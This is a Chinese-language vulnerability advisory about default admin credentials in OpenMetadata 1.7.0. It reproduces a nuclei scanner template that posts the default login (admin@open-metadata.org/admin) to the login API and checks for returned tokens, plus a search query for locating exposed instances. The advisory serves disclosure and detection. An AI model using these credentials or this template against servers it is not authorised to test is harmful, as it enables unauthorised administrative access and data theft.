OpenMetadata 默认登录凭证漏洞

漏洞信息

漏洞名称： OpenMetadata 默认登录凭证漏洞

漏洞类型： 弱口令

漏洞等级： 高危

漏洞描述： OpenMetadata是一个开源的元数据管理平台，旨在帮助组织管理和发现其数据资产。它广泛应用于企业级数据管理场景，支持数据发现、数据治理和数据质量监控等功能。由于其开源和易用性，OpenMetadata在许多组织中得到了部署和使用。该平台在1.7.0版本中存在默认登录凭证漏洞，攻击者可以利用默认的管理员用户名和密码（admin@open-metadata.org/admin）进行未授权操作。这种漏洞的存在主要是因为系统在安装后未强制要求更改默认凭证，导致攻击者可以轻易获取系统访问权限。一旦攻击者成功登录，他们可以执行各种恶意操作，包括但不限于数据泄露、数据篡改和服务中断。由于这是一个默认凭证漏洞，攻击者无需任何前置条件即可利用，且可以自动化执行攻击，因此对系统安全构成了严重威胁。

产品厂商： open-metadata

产品名称： OpenMetadata

影响版本： 1.7.0

搜索语法： title:”OpenMetadata”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/23b2897b75204acf2d0f9abd14915c1e96c92818/http%2Fdefault-logins%2Fopenmetadata-default-login.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: openmetadata-default-login

info:
  name: OpenMetadata - Default Login
  author: icarot
  severity: high
  description: |
    OpenMetadata server enables default admin credentials. An attacker can execute unauthorized operations.
  reference:
    - https://github.com/open-metadata/OpenMetadata
  classification:
    cpe: cpe:2.3:a:open-metadata:openmetadata:1.7.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: open-metadata
    product: OpenMetadata
    shodan-query: title:"OpenMetadata"
  tags: tech,openmetadata,default,login

variables:
  username: admin@open-metadata.org
  password: admin

http:
  - raw:
      - |
        POST /api/v1/users/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password": "{{base64("{{password}}")}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"accessToken":'
          - '"refreshToken"'
          - '"tokenType"'
          - '"expiryDuration"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200